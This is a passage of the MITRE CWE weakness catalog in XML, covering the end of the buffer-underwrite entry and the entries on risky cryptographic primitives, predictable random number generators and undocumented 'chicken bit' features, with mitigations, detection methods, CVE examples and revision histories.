            <Observed_Example>
               <Reference>CVE-2004-2620</Reference>
               <Description>Buffer underflow due to mishandled special characters</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2620</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>UNDER - Boundary beginning violation ('buffer underflow'?)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Buffer underwrite</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-90"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
         </References>
         <Notes>
            <Note Type="Relationship">This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Description, Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Demonstrative_Examples, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-10-29">Boundary Beginning Violation ('Buffer Underwrite')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1240" Name="Use of a Cryptographic Primitive with a Risky Implementation" Abstraction="Base" Structure="Simple" Status="Draft">
            <Description>To fulfill the need for a cryptographic primitive, the product implements a cryptographic algorithm using a non-standard, unproven, or disallowed/non-compliant cryptographic implementation.</Description>
            <Extended_Description>
	      <xhtml:p>Cryptographic protocols and systems depend on cryptographic primitives (and associated algorithms) as their basic building blocks. Some common examples of primitives are digital signatures, one-way hash functions, ciphers, and public key cryptography; however, the notion of "primitive" can vary depending on point of view. See "Terminology Notes" for further explanation of some concepts.</xhtml:p>
	      <xhtml:p>Cryptographic primitives are defined to accomplish one very specific task in a precisely defined and mathematically reliable fashion. For example, suppose that for a specific cryptographic primitive (such as an encryption routine), the consensus is that the primitive can only be broken after trying out N different inputs (where the larger the value of N, the stronger the cryptography). For an encryption scheme like AES-256, one would expect N to be so large as to be infeasible to execute in a reasonable amount of time.</xhtml:p>
	      <xhtml:p>If a vulnerability is ever found that shows that one can break a cryptographic primitive in significantly less than the expected number of attempts, then that primitive is considered weakened (or sometimes in extreme cases, colloquially it is "broken"). As a result, anything using this cryptographic primitive would now be considered insecure or risky. Thus, even breaking or weakening a seemingly small cryptographic primitive has the potential to render the whole system vulnerable, due to its reliance on the primitive. A historical example can be found in TLS when using DES. One would colloquially call DES the cryptographic primitive for transport encryption in this version of TLS. In the past, DES was considered strong, because no weaknesses were found in it; importantly, DES has a key length of 56 bits. Trying N=2^56 keys was considered impractical for most actors. Unfortunately, attacking a system with 56-bit keys is now practical via brute force, which makes defeating DES encryption practical. It is now practical for an adversary to read any information sent under this version of TLS and use this information to attack the system. As a result, it can be claimed that this use of TLS is weak, and that any system depending on TLS with DES could potentially render the entire system vulnerable to attack.</xhtml:p>

	      <xhtml:p>Cryptographic primitives and associated algorithms are only considered safe after extensive research and review from experienced cryptographers from academia, industry, and government entities looking for any possible flaws. Furthermore, cryptographic primitives and associated algorithms are frequently reevaluated for safety when new mathematical and attack techniques are discovered.  As a result and over time, even well-known cryptographic primitives can lose their compliance status with the discovery of novel attacks that might either defeat the algorithm or reduce its robustness significantly.</xhtml:p>
	      <xhtml:p>If ad-hoc cryptographic primitives are implemented, it is almost certain that the implementation will be vulnerable to attacks that are well understood by cryptographers, resulting in the exposure of sensitive information and other consequences.</xhtml:p>
	      <xhtml:p>This weakness is even more difficult to manage for hardware-implemented deployment of cryptographic algorithms. First, because hardware is not patchable as easily as software, any flaw discovered after release and production typically cannot be fixed without a recall of the product. Secondly, the hardware product is often expected to work for years, during which time computation power available to the attacker only increases. Therefore, for hardware implementations of cryptographic primitives, it is absolutely essential that only strong, proven cryptographic primitives are used.</xhtml:p>
	    </Extended_Description>
            <Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="327" View_ID="1000" Ordinal="Primary"/>
            </Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>This weakness is primarily introduced during the architecture and design phase as risky primitives are included.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Even in cases where the Architectural phase properly specifies a cryptographically secure design, the design may be changed during implementation due to unforeseen constraints.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Read Application Data</Impact>
					<Likelihood>High</Likelihood>
					<Note>Incorrect usage of crypto primitives could render the supposedly encrypted data as unencrypted plaintext in the worst case.</Note>
				</Consequence>
			</Common_Consequences>
	    <Detection_Methods>
	      <Detection_Method>
		<Method>Architecture or Design Review</Method>
		<Description>Review requirements, documentation, and product design to ensure that primitives are consistent with the strongest-available recommendations from trusted parties. If the product appears to be using custom or proprietary implementations that have not had sufficient public review and approval, then this is a significant concern.</Description>
		<Effectiveness>High</Effectiveness>
	      </Detection_Method>
	      <Detection_Method>
		<Method>Manual Analysis</Method>
		<Description>Analyze the product to ensure that implementations for each primitive do not contain any known vulnerabilities and are not using any known-weak algorithms, including MD4, MD5, SHA1, DES, etc.</Description>
		<Effectiveness>Moderate</Effectiveness>
	      </Detection_Method>
	      <Detection_Method>
		<Method>Dynamic Analysis with Manual Results Interpretation</Method>
		<Description>For hardware, during the implementation (pre-Silicon / post-Silicon) phase, dynamic tests should be done to ensure that outputs from cryptographic routines are indeed working properly, such as test vectors provided by NIST [REF-1236].</Description>
		<Effectiveness>Moderate</Effectiveness>
	      </Detection_Method>
	      <Detection_Method>
		<Method>Dynamic Analysis with Manual Results Interpretation</Method>
		<Description>
		It needs to be determined if the output of a cryptographic primitive is lacking entropy, which is one clear sign that something went wrong with the crypto implementation. There exist many methods of measuring the entropy of a bytestream, from sophisticated ones (like calculating Shannon's entropy of a sequence of characters) to crude ones (by compressing it and comparing the size of the original bytestream vs. the compressed - a truly random byte stream should not be compressible and hence the uncompressed and compressed bytestreams should be nearly identical in size).</Description>
		<Effectiveness>Moderate</Effectiveness>
	      </Detection_Method>
	    </Detection_Methods>
	    <Potential_Mitigations>
		<Mitigation Mitigation_ID="MIT-55">
		  <Phase>Requirements</Phase>
		  <Description>
		      Require compliance with the strongest-available recommendations from trusted parties, and require that compliance must be kept up-to-date, since recommendations evolve over time. For example, US government systems require FIPS 140-3 certification, which supersedes FIPS 140-2 [REF-1192] [REF-1226].
		  </Description>
		  <Effectiveness>High</Effectiveness>
		</Mitigation>
		<Mitigation>
		  <Phase>Architecture and Design</Phase>
		  <Description>
		      Ensure that the architecture/design uses the strongest-available primitives and algorithms from trusted parties. For example, US government systems require FIPS 140-3 certification, which supersedes FIPS 140-2 [REF-1192] [REF-1226].
		  </Description>
		  <Effectiveness>High</Effectiveness>
		</Mitigation>
		<Mitigation Mitigation_ID="MIT-54">
		  <Phase>Architecture and Design</Phase>
		  <Description>
		      Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. As with all cryptographic mechanisms, the source code should be available for analysis. If the algorithm may be compromised when attackers find out how it works, then it is especially weak.
		  </Description>
		  <Effectiveness>Discouraged Common Practice</Effectiveness>
		</Mitigation>
		<Mitigation>
		  <Phase>Architecture and Design</Phase>
		  <Description>
		      Try not to use cryptographic algorithms in novel ways or with new modes of operation even when you "know" it is secure. For example, using SHA-2 chaining to create a 1-time pad for encryption might sound like a good idea, but one should not do this.
		  </Description>
		  <Effectiveness>Discouraged Common Practice</Effectiveness>
		</Mitigation>
        <Mitigation Mitigation_ID="MIT-52">
          <Phase>Architecture and Design</Phase>
          <Description>Ensure that the design can replace one cryptographic primitive or algorithm with another in the next generation ("cryptographic agility"). Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. This is especially important for hardware, which can be more difficult to upgrade quickly than software; design the hardware at a replaceable block level.</Description>
		  <Effectiveness>Defense in Depth</Effectiveness>
        </Mitigation>
		<Mitigation>
		  <Phase>Architecture and Design</Phase>
		  <Description>
		      Do not use outdated or non-compliant cryptography algorithms. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong [REF-267].
		  </Description>
		  <Effectiveness>Discouraged Common Practice</Effectiveness>
		</Mitigation>
		<Mitigation>
		  <Phase>Architecture and Design</Phase>
		  <Phase>Implementation</Phase>
		  <Description>
		      Do not use a linear-feedback shift register (LFSR) or other legacy methods as a substitute for an accepted and standard Random Number Generator.
		  </Description>
		  <Effectiveness>Discouraged Common Practice</Effectiveness>
		</Mitigation>
		<Mitigation>
		  <Phase>Architecture and Design</Phase>
		  <Phase>Implementation</Phase>
		  <Description>
		      Do not use a checksum as a substitute for a cryptographically generated hash.
		  </Description>
		  <Effectiveness>Discouraged Common Practice</Effectiveness>
		</Mitigation>
		<Mitigation>
		  <Phase>Architecture and Design</Phase>
		  <Strategy>Libraries or Frameworks</Strategy>
		  <Description>
		      Use a vetted cryptographic library or framework. Industry-standard implementations will save development time and are more likely to avoid errors that can occur during implementation of cryptographic algorithms. However, the library/framework could be used incorrectly during implementation.
		  </Description>
		  <Effectiveness>High</Effectiveness>
		</Mitigation>
		<Mitigation>
		  <Phase>Architecture and Design</Phase>
		  <Phase>Implementation</Phase>
		  <Description>
		      When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for the prevention of common attacks.
		  </Description>
		  <Effectiveness>Moderate</Effectiveness>
		</Mitigation>
		<Mitigation>
		  <Phase>Architecture and Design</Phase>
		  <Phase>Implementation</Phase>
		  <Description>
		      Do not store keys in areas accessible to untrusted agents. Carefully manage and protect the cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography algorithm is irrelevant.
		  </Description>
		  <Effectiveness>Moderate</Effectiveness>
		</Mitigation>
	      </Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Re-using random values may compromise security.</Intro_Text>
					<Example_Code Nature="Bad">Suppose an Encryption algorithm needs a random value for a key. Instead of using a DRNG (Deterministic Random Number Generator), the designer uses a linear-feedback shift register (LFSR) to generate the value.</Example_Code>
					<Body_Text>While an LFSR may provide pseudo-random number generation service, the entropy (measure of randomness) of the resulting output may be less than that of an accepted DRNG (like that used in dev/urandom). Thus, using an LFSR weakens the strength of the cryptographic system, because it may be possible for an attacker to guess the LFSR output and subsequently the encryption key.</Body_Text>
					<Example_Code Nature="Good">If a cryptographic algorithm expects a random number as its input, provide one. Do not provide a pseudo-random value.</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
      <Observed_Examples>
      	<Observed_Example>
          <Reference>CVE-2020-4778</Reference>
          <Description>software uses MD5, which is less safe than the default SHA-256 used by related products</Description>
          <Link>https://www.cve.org/CVERecord?id=CVE-2020-4778</Link>
      	</Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2946</Reference>
               <Description>Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2946</Link>
            </Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2019-3907</Reference>
		  <Description>identity card uses MD5 hash of a salt and password</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2019-3907</Link>
		</Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2021-34687</Reference>
		  <Description>personal key is transmitted over the network using a substitution cipher</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2021-34687</Link>
		</Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2020-14254</Reference>
		  <Description>product does not disable TLS-RSA cipher suites, allowing decryption of traffic if TLS 2.0 and secure ciphers are not enabled.</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2020-14254</Link>
		</Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2019-1543</Reference>
		  <Description>SSL/TLS library generates 16-byte nonces but reduces them to 12 byte nonces for the ChaCha20-Poly1305 cipher, converting them in a way that violates the cipher's requirements for unique nonces.</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2019-1543</Link>
		</Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2017-9267</Reference>
		  <Description>LDAP interface allows use of weak ciphers</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2017-9267</Link>
		</Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2017-7971</Reference>
		  <Description>SCADA product allows "use of outdated cipher suites"</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2017-7971</Link>
		</Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2020-6616</Reference>
		  <Description>Chip implementing Bluetooth uses a low-entropy PRNG instead of a hardware RNG, allowing spoofing.</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2020-6616</Link>
		</Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2019-1715</Reference>
		  <Description>security product has insufficient entropy in the DRBG, allowing collisions and private key discovery</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2019-1715</Link>
		</Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2014-4192</Reference>
		  <Description>Dual_EC_DRBG implementation in RSA toolkit does not correctly handle certain byte requests, simplifying plaintext recovery</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2014-4192</Link>
		</Observed_Example>
		<Observed_Example>
		  <Reference>CVE-2007-6755</Reference>
		  <Description>Recommendation for Dual_EC_DRBG algorithm contains point Q constants that could simplify decryption</Description>
		  <Link>https://www.cve.org/CVERecord?id=CVE-2007-6755</Link>
		</Observed_Example>
      </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="97"/>
         </Related_Attack_Patterns>
         <References>
	   <Reference External_Reference_ID="REF-267"/>
	   <Reference External_Reference_ID="REF-1227"/>
	   <Reference External_Reference_ID="REF-1226"/>
	   <Reference External_Reference_ID="REF-1192"/>
	   <Reference External_Reference_ID="REF-1236" Section="Test Vectors"/>
         </References>
         <Notes>
	   <Note Type="Terminology">
	     <xhtml:p>
	     Terminology for cryptography varies widely, from informal and colloquial to mathematically-defined, with different precision and formalism depending on whether the stakeholder is a developer, cryptologist, etc. Yet there is a need for CWE to be self-consistent while remaining understandable and acceptable to multiple audiences.</xhtml:p>
	     <xhtml:p>As of CWE 4.6, CWE terminology around "primitives" and "algorithms" is emerging as shown by the following example, subject to future consultation and agreement within the CWE and cryptography communities. Suppose one wishes to send encrypted data using a CLI tool such as OpenSSL. One might choose to use AES with a 256-bit key and require tamper protection (GCM mode, for instance). For compatibility's sake, one might also choose the ciphertext to be formatted to the PKCS#5 standard. In this case, the "cryptographic system" would be AES-256-GCM with PKCS#5 formatting. The "cryptographic function" would be AES-256 in the GCM mode of operation, and the "algorithm" would be AES. Colloquially, one would say that AES (and sometimes AES-256) is the "cryptographic primitive," because it is the algorithm that realizes the concept of symmetric encryption (without modes of operation or other protocol related modifications). In practice, developers and architects typically refer to base cryptographic algorithms (AES, SHA, etc.) as cryptographic primitives.</xhtml:p>
	   </Note>
           <Note Type="Maintenance">Since CWE 4.4, various cryptography-related entries, including CWE-327 and CWE-1240, have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.</Note>
         </Notes>
			<Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-02-10</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, Related_Attack_Patterns, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Background_Details, Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Terminology_Notes, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Content">
				  <Contribution_Name>Parbati K. Manna</Contribution_Name>
				  <Contribution_Organization>Intel Corporation</Contribution_Organization>
				  <Contribution_Date>2021-10-18</Contribution_Date>
				  <Contribution_Comment>provided detection methods and observed examples</Contribution_Comment>
				</Contribution>
			<Previous_Entry_Name Date="2021-10-28">Use of a Risky Cryptographic Primitive</Previous_Entry_Name>
            </Content_History>
        </Weakness>
      <Weakness ID="1241" Name="Use of Predictable Algorithm in Random Number Generator" Abstraction="Base" Structure="Simple" Status="Draft">
            <Description>The device uses an algorithm that is predictable and generates a pseudo-random number.</Description>
            <Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1000" Ordinal="Primary"/>
            </Related_Weaknesses>
            <Applicable_Platforms>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>In many cases, the design originally defines a cryptographically secure random number generator, but is then changed during implementation due to unforeseen constraints.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Read Application Data</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>A true random number generator should be specified for cryptographic algorithms.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>A true random number generator should be implemented for cryptographic algorithms.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Suppose a cryptographic function expects random value to be supplied for the crypto algorithm.</Intro_Text>
					<Body_Text>During the implementation phase, due to space constraint, a cryptographically secure random-number-generator could not be used, and instead  of using a TRNG (True Random Number Generator), a LFSR (Linear Feedback Shift Register) is used to generate a random value. While an LFSR will provide a pseudo-random number, its entropy (measure of randomness) is insufficient for a cryptographic algorithm.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="97"/>
         </Related_Attack_Patterns>
         <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-02-10</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Modes_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, Related_Attack_Patterns, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1242" Name="Inclusion of Undocumented Features or Chicken Bits" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The device includes chicken bits or undocumented features that can create entry points for unauthorized actors.</Description>
            <Extended_Description>
                <xhtml:p>A common design practice is to use undocumented bits on a device that can be used to disable certain functional security features. These bits are commonly referred to as "chicken bits". They can facilitate quick identification and isolation of faulty components, features that negatively affect performance, or features that do not provide the required controllability for debug and test. Another way to achieve this is through implementation of undocumented features. An attacker might exploit these interfaces for unauthorized access.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				<Technology Class="ICS/OT" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                </Introduction>
                <Introduction>
                    <Phase>Documentation</Phase>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Scope>Integrity</Scope>
                    <Scope>Availability</Scope>
                    <Scope>Access Control</Scope>
                    <Impact>Modify Memory</Impact>
                    <Impact>Read Memory</Impact>
                    <Impact>Execute Unauthorized Code or Commands</Impact>
                    <Impact>Gain Privileges or Assume Identity</Impact>
                    <Impact>Bypass Protection Mechanism</Impact>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Phase>Implementation</Phase>
                    <Description>
                        <xhtml:p>The implementation of chicken bits in a released product is highly discouraged. If implemented at all, ensure that they are disabled in production devices. All interfaces to a device should be documented.</xhtml:p>
                    </Description>
                    <Effectiveness>High</Effectiveness>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented "special access features" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.</Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        <xhtml:div>Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.</xhtml:div>
                    </Example_Code>
                    <Body_Text>Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.</Body_Text>
            	</Demonstrative_Example>
            </Demonstrative_Examples>
         <Taxonomy_Mappings>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-2</Entry_ID>
	     <Entry_Name>Req CR2.12</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SVV-3</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SD-4</Entry_Name>
	   </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="212"/>
            <Related_Attack_Pattern CAPEC_ID="36"/>
         </Related_Attack_Patterns>
         <References>
                <Reference External_Reference_ID="REF-1071"/>
                <Reference External_Reference_ID="REF-1072"/>
                <Reference External_Reference_ID="REF-1073"/>
                <Reference External_Reference_ID="REF-1074"/>
